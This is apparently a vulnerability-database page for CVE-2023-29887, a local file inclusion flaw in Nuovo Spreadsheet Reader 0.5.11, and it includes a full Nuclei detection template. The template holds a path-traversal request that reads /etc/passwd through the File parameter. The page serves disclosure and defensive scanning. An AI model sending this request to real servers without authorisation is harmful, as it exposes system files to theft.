Browse / CVEs / CVE-2023-29887
CVE-2023-29887· nuovo / spreadsheet-reader· CWE-22
Nuovo Spreadsheet Reader 0.5.11 - Local File Inclusion
highseverity
7.5CVSS score
4.7%likelihood of exploitation, next 30 days
92%of all CVEs are less likely
Readycheck to confirm it
A Local File inclusion vulnerability in test.php in spreadsheet-reader 0.5.11 allows remote attackers to include arbitrary files via the File parameter.
Impact
Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, potential data leakage, and further compromise of the server.
Fix
Upgrade to a patched version of Nuovo Spreadsheet Reader or apply the vendor-provided fix to mitigate the Local File Inclusion vulnerability.
How to confirm it
Send: GET {{BaseURL}}/spreadsheet-reader/test.php?File=../../../../../../../../../../../etc/passwd ; GET {{BaseURL}}/nuovo/spreadsheet-reader/test.php?File=../../../../../../../../../../../etc/passwd
Positive when: matches /root:[x*]:0:0/ AND status 200Run it with nuclei: nuclei -id CVE-2023-29887 -u <target>
The full check
id: CVE-2023-29887
info:
name: Nuovo Spreadsheet Reader 0.5.11 - Local File Inclusion
author: ctflearner
severity: high
description: |
A Local File inclusion vulnerability in test.php in spreadsheet-reader 0.5.11 allows remote attackers to include arbitrary files via the File parameter.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, potential data leakage, and further compromise of the server.
remediation: |
Upgrade to a patched version of Nuovo Spreadsheet Reader or apply the vendor-provided fix to mitigate the Local File Inclusion vulnerability.
reference:
- https://research.hisolutions.com/2023/01/arbitrary-file-read-vulnerability-php-library-nuovo-spreadsheet-reader-0-5-11/
- https://github.com/nuovo/spreadsheet-reader/issues/169
- https://nvd.nist.gov/vuln/detail/CVE-2023-29887
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2023-29887
cwe-id: CWE-22
epss-score: 0.04736
epss-percentile: 0.91936
cpe: cpe:2.3:a:nuovo:spreadsheet-reader:0.5.11:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: nuovo
product: spreadsheet-reader
tags: cve2023,cve,nuovo,spreadsheet-reader,lfi,vuln
http:
- method: GET
path:
- "{{BaseURL}}/spreadsheet-reader/test.php?File=../../../../../../../../../../../etc/passwd"
- "{{BaseURL}}/nuovo/spreadsheet-reader/test.php?File=../../../../../../../../../../../etc/passwd"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0"
- type: status
status:
- 200References
- https://research.hisolutions.com/2023/01/arbitrary-file-read-vulnerability-php-library-nuovo-spreadsheet-reader-0-5-11/
- https://github.com/nuovo/spreadsheet-reader/issues/169
- https://nvd.nist.gov/vuln/detail/CVE-2023-29887
Use this check only on systems you are authorised to test. Where the data comes from